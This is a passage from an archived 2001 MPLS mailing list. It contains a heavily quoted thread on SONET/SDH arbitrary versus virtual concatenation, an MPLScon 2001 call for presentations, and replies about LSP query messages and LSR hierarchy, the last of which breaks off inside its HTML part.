> > > > > > >           > > >               do (or claim to) support
> > > > > > > arb-concat?
> > > > > > >           > > >               > Ciena's CoreDirector for
> > > > > > > one. I know
> > > > > > > of other vendors but
> > > > > > >           > > > I'm not sure if they've publicly announced.
> > > > > > >           > > >               3. and a repeat question. why
> > > > > > > should one
> > > > > > > go with
> > > > > > >           > > >               arb-concat when virt-cont
> > > > > > > (kludgy as it
> > > > > > > may be)
> > > > > > >           > > >               has been standardized. (in my
> > > > > > > limited
> > > > > > > understanding
> > > > > > >           > > >               of virt-conc, it does avoid
> > > > > > > the
> > > > > > > "re-grooming" that
> > > > > > >           > > >               you alluded to).
> > > > > > >           > > >               > Well virtual concatenation
> > > > > > > can do
> > > > > > > everything but it>
> > > > > > >           > > > requires the edge equipment to be upgraded.
> > > > > > > If folks
> > > > > > > want to preserve their
> > > > > > >           > > > investments around the edge and
> > > > > > > incrementally upgrade
> > > > > > > the core then any line
> > > > > > >           > > > connecting two pieces of equipment
> > > > > > > supporting
> > > > > > > arbitrary concatenation
> > > > > > >           > > > doesn't need to be re-groomed or be used
> > > > > > > inefficiently.  Hence it's a good
> > > > > > >           > > > feature for core equipment, but maybe not so
> > > > > > > hot
> > > > > > > compared to virtual
> > > > > > >           > > > concatenation at the edge.
> > > > > > >           > > >
> > > > > > >           > > >               greatly appreciate a reply.
> > > > > > >           > > >
> > > > > > >           > > >               Thanx,
> > > > > > >           > > >               Sanjay.
> > > > > > >           > > >
> > > > > > >           > > >
> > > > > > >           > > >
> > > > > > >           > > >
> > > > > > >           > > >               --- "Bernstein, Greg"
> > > > > > > <GregB@ciena.com>
> > > > > > > wrote:
> > > > > > >           > > >               > Hi sorry to be out of the
> > > > > > > loop for a
> > > > > > > while.  Man
> > > > > > >           > > >               > Wing's assesment and the
> > > > > > >           > > >               > concerns about upgrades are
> > > > > > > fairly
> > > > > > > correct except:
> > > > > > >           > > >               > (1) With the new generation
> > > > > > > of
> > > > > > > SONET/SDH cross
> > > > > > >           > > >               > connects arbitrary is a
> > > > > > >           > > >               > feature.  I can think of at
> > > > > > > least one
> > > > > > > new and very
> > > > > > >           > > >               > popular switch that has
> > > > > > >           > > >               > this feature.
> > > > > > >           > > >               > (2) I also know of access
> > > > > > > equipment
> > > > > > > vendors that
> > > > > > >           > > >               > offer this feature (but not
> > > > > > >           > > >               > virtual concatenation).
> > > > > > >           > > >               > (3) There is a bit more
> > > > > > > fundamental
> > > > > > > reason behind
> > > > > > >           > > >               > the usefulness of
> > > > > > >           > > >               > arbitrary concatenation.
> > > > > > > Avoiding the
> > > > > > > need to
> > > > > > >           > > >               > "re-groom" the circuits on a
> > > > > > >           > > >               > line (the nasty service
> > > > > > > impacting
> > > > > > > process of
> > > > > > >           > > >               > remapping circuits to time
> > > > > > >           > > >               > slots so that you can add a
> > > > > > > new
> > > > > > > concatenated circuit
> > > > > > >           > > >               > within the standard
> > > > > > >           > > >               > contiguous concatenation
> > > > > > > constraints).
> > > > > > >           > > >               > As to how it got into the
> > > > > > > ODSI
> > > > > > > specification, the
> > > > > > >           > > >               > answer is fairly simple,
> > > > > > >           > > >               > folks (including myself)
> > > > > > > asked for it
> > > > > > > to be
> > > > > > >           > > >               > included, just like in the
> > > > > > > GMPLS
> > > > > > >           > > >               > specification.  I haven't
> > > > > > > found a
> > > > > > > customer out there
> > > > > > >           > > >               > that likes to re-groom
> > > > > > >           > > >               > traffic (or the bandwidth
> > > > > > > inefficiency
> > > > > > > from not
> > > > > > >           > > >               > regrooming).
> > > > > > >           > > >               >
> > > > > > >           > > >               > Greg B.
> > > > > > >           > > >               >
> > > > > > > ***********************************
> > > > > > >           > > >               > Dr. Greg M. Bernstein
> > > > > > >           > > >               > Senior Scientist, Ciena
> > > > > > > Corporation
> > > > > > >           > > >               >
> > > > > > >           > > >               > -----Original Message-----
> > > > > > >           > > >               > From: ashritha thirumalai
> > > > > > >           > > >               > [mailto:chickoo66@yahoo.com]
> > > > > > >           > > >               > Sent: Friday, May 11, 2001
> > > > > > > 1:50 PM
> > > > > > >           > > >               > To: Fong, Man Wing; Maarten
> > > > > > > Vissers;
> > > > > > > Heiles Juergen
> > > > > > >           > > >               > Cc:
> > > > > > > ip-optical@lists.bell-labs.com
> > > > > > >           > > >               > Subject: RE: [IP-Optical]
> > > > > > > concatenation extensions
> > > > > > >           > > >               > in sonet/sdh
> > > > > > >           > > >               >
> > > > > > >           > > >               >
> > > > > > >           > > >               > Well, arb-conct is most
> > > > > > > really useful
> > > > > > > for data
> > > > > > >           > > >               > (i.e. Packet-Over-Sonet).
> > > > > > > i.e. one can
> > > > > > > provide
> > > > > > >           > > >               > an STS19c or so for a 1GbE
> > > > > > > pipe (as
> > > > > > > opposed to
> > > > > > >           > > >               > an STS48c as is currently
> > > > > > > being done).
> > > > > > > This
> > > > > > >           > > >               > goal is same as that of
> > > > > > > virt-conc.
> > > > > > >           > > >               >
> > > > > > >           > > >               > I am not really sure how an
> > > > > > > interconnection will
> > > > > > >           > > >               > be problematic with a DACS?
> > > > > > > Could you
> > > > > > >


From owner-mpls@UU.NET  Thu May 17 09:35:58 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA17116
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 09:35:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpkg08901;
	Thu, 17 May 2001 13:34:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkpkg11111
	for mpls-outgoing; Thu, 17 May 2001 13:34:26 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpkg11100
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 13:34:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpkg27174
	for <mpls@uu.net>; Thu, 17 May 2001 13:34:04 GMT
Received: from bgslc02.TBG.COM by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.99.125.2])
	id QQkpkg29237
	for <mpls@uu.net>; Thu, 17 May 2001 13:34:04 GMT
Received: by BGSLC02 with Internet Mail Service (5.5.2650.21)
	id <KDMDHNRL>; Thu, 17 May 2001 07:18:50 -0600
Message-ID: <0C875DC28791D21192CD00104B95BFE70146DBBC@BGSLC02>
From: Irwin Lazar <ILazar@tbg.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: MPLScon 2001 - CFP
Date: Thu, 17 May 2001 07:18:42 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA17116

MPLScon 2001 - Fall - will be held on October 1-4, 2001 at the Hyatt Regency
in Reston, Virginia.  A call for presentations for this event and submission
guidelines are now available at
http://www.mplscon.com/call_for_presentations_fall.htm.  Presentation
submissions are due no later than July 1, 2001.

What Is MPLScon?
MPLScon is emerging as one of the premier industry events covering
Multiprotocol Label Switching.  MPLScon brings together tutorials, standards
discussions, operator and service provider deployment plans and experiences,
technology discussions and vendor presentations to provide a single place
where those involved in developing, deploying, managing and marketing
MPLS-based services can converge.  Building on our successful inaugural
event held in March of 2001, MPLScon Fall '01  "The MPLS State of the Union"
will address the current MPLS "reality", where we are today, what we've
learned, and what remains to be done.

Call For Presentation Categories:
MPLScon seeks presentations and panel discussion participants based on the
following topics and conference schedule:

Tuesday, October 2nd 2001  "MPLS in the Service Provider Core"
The theme of this day is a discussion and analysis of current MPLS
deployments in large service-provider networks with a focus on MPLS Traffic
Engineering, MPLS Quality of Service, and MPLS integration into existing
protocols.  During this session we will also explore technologies such as
Generalized MPLS and the coming convergence in Layer 1, 2 and 3 that enables
a unified control plane for optical and legacy core networks.

Specific topics for presentations and panel discussions in this session
include:

MPLS Integration With Existing Protocols:
·       Integration of MPLS into existing ATM & SONET-based networks
·       Deploying MPLS in mixed environments: Ethernet, Frame Relay, ATM,
and more
·       Using MPLS to deliver Frame Relay, ATM and/or Ethernet
·       MPLS versus ATM - Is this really the correct debate?
·       Service Provider Perspectives  "Reality vs. Hype"

MPLS Network Engineering:
·       Providing MPLS-based networks with SONET-like resiliency?
·       MPLS Traffic Engineering
·       Guaranteeing Quality of Service in multi-service MPLS networks
·       Best-practices Integrating MPLS into large BGP environments with
route reflectors and/or confederations
·       MPLS integration with IPv6
·       MPLS implementation in OSPF and IS-IS  pros, cons and experiences

The Role of MPLS in an all-optical switched network infrastructure
·       Generalized MPLS (MPL(ambda)S)
·       Provisioning and providing high-availability optical networks using
MPLS
·       Path protection and resiliency in MPLS+Optical networks

Wednesday, October 3rd 2001  "MPLS-VPNs"
The theme of this day is a discussion and analysis of current MPLS-VPN
deployments in large service-provider networks.  During this session we will
focus on how MPLS-VPNs are being used to deploy new carrier services, the
challenges service providers have faced in implementing MPLS-VPNs, the
benefits and drawbacks of various approaches to MPLS-VPNs such as virtual
routers and MPLS-BGP.

Specific topics for presentations and panel discussions in this session
include:

MPLS-VPN Technologies:
·       Using BGP Extensions to provision MPLS-VPN services
·       Using the Virtual Router model to provision MPLS-VPN services
·       Using MPLS to provide Layer 2 VPN services
·       MPLS-VPNs across service provider boundaries
·       MPLS-VPNs in Ethernet and Metropolitan Area Networks
·       Demarcation - where does the MPLS path end and/or begin?
·       New service opportunities made possible as a result of MPLS-VPN
·       VPN Scaling  Prefix/label distribution including IGP, BGP, LDP

MPLS Security:
·       MPLS integration with IPsec
·       MPLS-VPN security
·       Securing the label distribution and path creation process 

Thursday, October 4th, 2001  "MPLS Provisioning, Management and Operations"
The theme of the final day of MPLScon is to look at how MPLS networks are
being managed in the real world, including requirements systems, challenges,
and future developments.

Specific topics for presentations and panel discussions in this session
include:

MPLS Product Interoperability:
·       Experiences in MPLS interoperability testing efforts

MPLS Network Management:
·       MPLS network management - systems, methods, tools
·       Extensions to ICMP for managing MPLS-based networks
·       MPLS and application SLA's - using MPLS to provide application level
service level agreements
·       Operational Support Systems in support of MPLS network management
·       How will trends toward policy enabled and directory enabled
networking integrate into MPLS deployments
·       Label switch paths provisioning and management
·       Modeling and simulation tools for testing MPLS-based networks
·       Verifying and managing SLA's
·       Path computation and selection

Wrap-up Topics:
Future road-map for service providers


From owner-mpls@UU.NET  Thu May 17 09:37:21 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA17182
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 09:37:21 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpkg05694;
	Thu, 17 May 2001 13:36:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkpkg11209
	for mpls-outgoing; Thu, 17 May 2001 13:36:04 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpkg11129
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 13:34:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpkg15193
	for <mpls@UU.NET>; Thu, 17 May 2001 13:33:02 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpkg28616
	for <mpls@UU.NET>; Thu, 17 May 2001 13:33:02 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 1EDBA94006; Thu, 17 May 2001 09:32:58 -0400 (EDT)
Message-ID: <3B03D30A.BF672875@sandburst.com>
Date: Thu, 17 May 2001 09:32:58 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Loa Andersson <loa.andersson@utfors.se>, MPLS Mailing List <mpls@UU.NET>
Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
References: <200105161102.HAA02659@ietf.org> <3B039418.285034D@utfors.se>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA17182

Loa,

    I think that the whole query mechanism is being suggested because
people want to check from time to time to see where an LSP is going
at some time.  The only conceivable reason for wanting to do this is a
direct result of the dynamism you mention.  Consequently, I think you
are getting the cart before the horse - you send a query to find out if
the LSP has changed and (from time to time) you send others.  Maybe
you do this because you've experienced some 'aftershocks' of route
changes (such as a storm of LSAs), or maybe you do it periodically.

    You don't need a mechanism to detect when the last query is out of
date - the existence of a query mechanism, all by itself, means you
believe that the information can become stale.  Therefore, having some
means to detect when this is more likely can be seen as a nice to have
- but unnecessary - optimization.

--
Eric Gray

You wrote:

> All,
>
> something that struck me, draft-ietf-mpls-lsp-query-02.txtabout
> having read only the the abstract and leafed through the draft.
> LDP LSPs and the lose parts of CR-LDP LSPs have a certain dynamic
> character, i.e. when a next hop changes the LSP follow that change.
>
> How is a possible change in network topology co-ordinted when a
> querry message is sent. Given that we receive the respnse to a querry
> at "t" and some time later "t+n" a topology change occurs. Do we
> need to re-send querries each time "something" happen? Or do we try
> to calculate if a particular LSP has changed becasue of the topology
> change.
>
> /Loa
>
> Internet-Drafts@ietf.org wrote:
>
> > This document describes the encoding and procedures for three new LDP
> > messages, the Query Message and Query-Reply Message and Partial
> > Query-Reply Message (the last one is almost identical to the Query-
> > Reply message; therefore all references to the Query-Reply messages
> > imply the Partial Query-Reply messages as well, unless otherwise
> > specified).  An LER sends a Query message when it needs to find out
> > information about an LSP. The Query message is sent for an
> > established LSP.  The Query message can be used for LDP LSPs as well
> > as for CR-LSPs.  The queried data is encoded into the Query-Reply
> > messages. The Query Message carries only the list of hops.
>
> --
> Loa Andersson
> Chief Architect,
> Utfors Research, Architecture and Future Lab (URAX)
> Utfors AB
> Råsundavägen 12
> Box 525, 169 29 Solna
> Office          +46 8 5270 2000
> Office direct   +46 8 5270 5038
> Mobile          +46 70 848 5038
> Email           loa.andersson@utfors.se
> WWW             www.utfors.se



From owner-mpls@UU.NET  Thu May 17 09:39:38 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA17223
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 09:39:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpkg07619;
	Thu, 17 May 2001 13:37:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkpkg11224
	for mpls-outgoing; Thu, 17 May 2001 13:36:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpkg11184
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 13:35:57 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpkg01782
	for <mpls@uu.net>; Thu, 17 May 2001 13:34:48 GMT
Received: from huaweimail.in.huawei.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQkpkg08293
	for <mpls@uu.net>; Thu, 17 May 2001 13:34:24 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <K7NRG2H7>; Thu, 17 May 2001 18:37:14 +0500
Message-ID: <751B6DD7A243D511AB9F0002557C56870FD359@HUAWEIMAIL>
From: Bhupesh Bajaj <bhupeshb@in.huawei.com>
To: Asish Thomas Punnoose <asish.punnoose@wipro.com>
Cc: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: RE: Hierarchy between two LSRs
Date: Thu, 17 May 2001 18:37:05 +0500
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0DED6.766B8760"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DED6.766B8760
Content-Type: text/plain;
	charset="iso-8859-1"

hi,
according to what i interpret from your question ...
 
the hierarchy in a domain will be specified ( indirectly ) by the
administrators...it not that one installs certain LSR's and the hierarchy
comes into picture by itself ...i believe that hierarchy's concept comes
into picture in case of different services of ISP's
 
e.g..
 
----------------------------------------------------------------------------
---
 
|
          --------------    ----------------
|
         |              |   |                |                     C
|            D
         |      A      |   |     B         |
|
         |________|   |_________ |                                  |
 
|
 
|    
_____________________________________________ |
 
Now here for example we have different domains A B and C ..hierarcy comes
into picture when we have that 
C domain is controlled by one ISP , A by another ISP ...and B by yet another
ISP....
 
so for sending a packet from say ...A ...to D ...say passing thru B is
required , Now as the domain changes the label stackin will be done...
 
now as you asked , how does LDP / CR-LDp comes to know that its going to
have hierarchy, that will be done indirectly by administration , cos
administrator will create domains will separate out domains....so once the
LSRs know that its Egress / Ingress to its domain , the LDP will ofcourse do
label distribution accordingly.
 
i hope it helps....
 
correct me if i am wrong..
 
thanks
bhupesh

-----Original Message-----
From: Asish Thomas Punnoose [mailto:asish.punnoose@wipro.com]
Sent: Thursday, May 17, 2001 5:20 PM
To: mpls@UU.NET
Subject: Hierarchy between two LSRs


hello 
 
I am new to MPLS and i have a basic doubt. 
 
If hierarchy is introduced between two LSRs, how does LDP/ CR-LDP know
whether a hierarchy exists between the two.  
 
How does the label switching work in this situation.
 
Please do help and could someone send some pointers related to this topic.
 
Thanks in advance 
 
Asish Thomas


------_=_NextPart_001_01C0DED6.766B8760
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>hi,</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>according to what i interpret from your =
question=20
...</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>the=20
hierarchy in a domain will be specified ( indirectly ) by the=20
administrators...it not that one installs certain LSR's and the =
hierarchy comes=20
into picture by itself ...i believe that hierarchy's concept comes into =
picture=20
in case of different services of ISP's</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>e.g..</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>---------------------------------------------=
----------------------------------</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
|</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;--------------&nbsp;&nbsp;&nbsp;&nbsp;----------------&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
|</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;C&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
D</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;B&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
|</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;|________|&nbsp;&nbsp;&nbsp;|_________&nbsp;|&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
|</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
|</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
|&nbsp;&nbsp;&nbsp; </SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>_____________________________________________=
=20
|</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>Now=20
here for example we have different domains A B and C ..hierarcy comes =
into=20
picture when we have that </SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>C=20
domain is controlled by one ISP , A by another ISP ...and B by yet =
another=20
ISP....</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>so for=20
sending a packet from say ...A ...to D ...say passing thru B is =
required , Now=20
as the domain changes the label stackin will be =
done...</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>now as=20
you asked , how does LDP / CR-LDp comes to know that its going to have=20
hierarchy, that will be done indirectly by administration , cos =
administrator=20
will create domains will separate out domains....so once the LSRs know =
that its=20
Egress / Ingress to its domain , the LDP will ofcourse do label =
distribution=20
accordingly.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D331375312-17052001>i hope=20
it helps....</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001>correct me if i am =
wrong..</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D331375312-17052001></SPAN></FONT>&nbsp;</DIV>
